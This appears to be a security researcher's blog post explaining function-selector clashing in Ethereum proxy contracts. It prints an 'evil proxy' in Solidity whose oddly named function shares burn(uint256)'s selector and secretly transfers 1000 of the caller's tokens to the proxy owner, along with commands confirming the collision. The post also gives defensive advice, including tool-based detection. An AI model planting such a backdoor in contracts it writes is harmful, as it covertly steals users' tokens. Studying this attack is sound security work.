In this post we’ll take a look at how an honest, trusted and well-known implementation of a token contract could be leveraged by an attacker to steal tokens by means of function clashing. Working proof-of-concept exploit code included.
Note that function clashing was first properly introduced in Nomic Lab’s “Malicious backdoors in Ethereum Proxies”. That’s where I first read about function clashing, so kudos to Patricio Palladino for the amazing work.
Immutable code is frightening, no doubt. That's why many projects in the Ethereum ecosystem have been pushing forward the idea of upgradeability mechanisms via proxy contracts. Such mechanisms allow for, among other things, quick bug-fixing and adding new features on top of already deployed contracts.
One incredibly interesting feature of proxies is that they can be leveraged to achieve on-chain code reusability. In an ideal world, reputable projects which have built resilient battle-tested code could deploy their code to the blockchain and have everyone point their proxies to the trusted on-chain code.
Then, all a regular developer would need to do is to deploy a proxy and have users interact with the application through it. Such proxy would in turn delegatecall
to the on-chain code of other people’s trusted and verifiable code.
This proxy could look like this:
pragma solidity ^0.5.0;
contract Proxy {
address public proxyOwner;
address public implementation;
constructor(address implementation) public {
proxyOwner = msg.sender;
_setImplementation(implementation);
}
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner);
_;
}
function upgrade(address implementation) external onlyProxyOwner {
_setImplementation(implementation);
}
function _setImplementation(address imp) private {
implementation = imp;
}
function () payable external {
address impl = implementation;
assembly {
calldatacopy(0, 0, calldatasize)
let result := delegatecall(gas, impl, 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
switch result
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
}
One step further, the developer could show all users that the system uses SomeReallyWellKnownAndTrustedProject‘s code, by just showcasing that the proxy’s implementation
state variable points to the address of the SomeReallyWellKnownAndTrustedProject's on-chain implementation.
For the sake of the example, let’s consider that in this case that the implementation is a flawless trusted burnable token built with well-known libraries such as the upgradeable version of OpenZeppelin Contracts:
pragma solidity ^0.5.0;
import "openzeppelin-eth/contracts/token/ERC20/ERC20Burnable.sol";
import "openzeppelin-eth/contracts/token/ERC20/ERC20Detailed.sol";
import "zos-lib/contracts/Initializable.sol";
contract BurnableToken is Initializable, ERC20Burnable, ERC20Detailed {
function initialize(
string memory name,
string memory symbol,
uint8 decimals,
uint256 initialSupply
)
public
initializer
{
super.initialize(name, symbol, decimals);
_mint(msg.sender, initialSupply);
}
}
So far so good, right ?. Things are about to get evil now .
Enter the evil proxy
Remember the proxy we saw before ? Well, let's add one additional short function to it:
pragma solidity ^0.5.0;
contract Proxy {
address public proxyOwner;
address public implementation;
constructor(address implementation) public {
proxyOwner = msg.sender;
_setImplementation(implementation);
}
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner);
_;
}
function upgrade(address implementation) external onlyProxyOwner {
_setImplementation(implementation);
}
function _setImplementation(address imp) private {
implementation = imp;
}
function () payable external {
address impl = implementation;
assembly {
calldatacopy(0, 0, calldatasize)
let result := delegatecall(gas, impl, 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
switch result
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
// This is the function we're adding now
function collate_propagate_storage(bytes16) external {
implementation.delegatecall(abi.encodeWithSignature(
"transfer(address,uint256)", proxyOwner, 1000
));
}
}
Hmm. That collate_propagate_storage(bytes16)
at the bottom looks shady, doesn’t it?. But who cares! If I’m a user that’s going to interact with this proxy, all I’d need to do is avoid calling that weird function. Which should be rather easy considering how strange the name is - for sure anyone can’t call it by mistake.
But hey, this is Ethereum. And Ethereum is fun (at least for us security researchers ). Let’s see what happens if a user wants to burn
some tokens:
That’s what the user sees, which is miles away from what the Ethereum Virtual Machine (EVM) sees. What the EVM actually sees is more like this:
So what are those cryptic 0x42966c68
things ? Andreas Antonopoulos’ “Mastering Ethereum” can shed some light into this:
[In the Ethereum Virtual Machine] each function is identified by the first 4 bytes of its Keccak-256 hash. By placing the function’s name and what arguments it takes into a keccak256 hash function, we can deduce its function identifier.
Amazingly (well, actually it’s just probabilities ) the 4-bytes identifier of collate_propagate_storage(bytes16)
and burn(uint256)
are exactly the same ; namely, 0x42966c68
. How can we confirm this ? Pocketh!
$ pocketh selector "collate_propagate_storage(bytes16)"
0x42966c68
$ pocketh selector "burn(uint256)"
0x42966c68
Exploiting function clashing
As the burn
call is done through the proxy, the EVM will first check whether there’s any function in the proxy’s code whose identifier matches 0x42966c68
. If there were none, then the fallback
function of the proxy would be executed and the call delegated to the address stored in the implementation
.
However, in this case, the proxy does include a function whose identifier matches 0x42966c68
: collate_propagate_storage(bytes16)
. As a result, it gets executed.
Let’s remember what it looks like:
function collate_propagate_storage(bytes16) external {
implementation.delegatecall(abi.encodeWithSignature(
"transfer(address,uint256)", proxyOwner, 1000
));
}
So the function will actually force the caller to transfer
1000 tokens to the owner of the proxy! .
Jeez, that's tough. Poor user only wanted to burn a token and ended up with 1000 less tokens.
See it in action
Wanna see the code, right ? Don’t worry, I’ve got you covered!. Here’s a working proof-of-concept exploit for this function clashing.
Does this work without a proxy ?
Nope, the Solidity compiler is smart enough to detect function clashing during compilation. So it's not possible to build a Solidity contract that clashes two functions.
Do program analysis tools detect function clashing in two separate contracts ?
Yes! Slither has a really nice plugin which should detect function clashing between two contracts (proxy and implementation) right away.
Takeaway
Never ever ever ever blindly trust a proxy! Even if it points to a trusted implementation. Make sure you can verify the code of the proxy you're interacting with, and that it is battle-tested and well-known.
Bear in mind that the shady proxy we saw earlier is just a simple and obvious proof-of-concept. There’s plenty of room to make the code of collate_propagate_storage(bytes16)
waaay more obscure, so that you’d never notice what the function is doing.
On top of that, the proxy’s code may not even be verified in Etherscan, which would make things far trickier.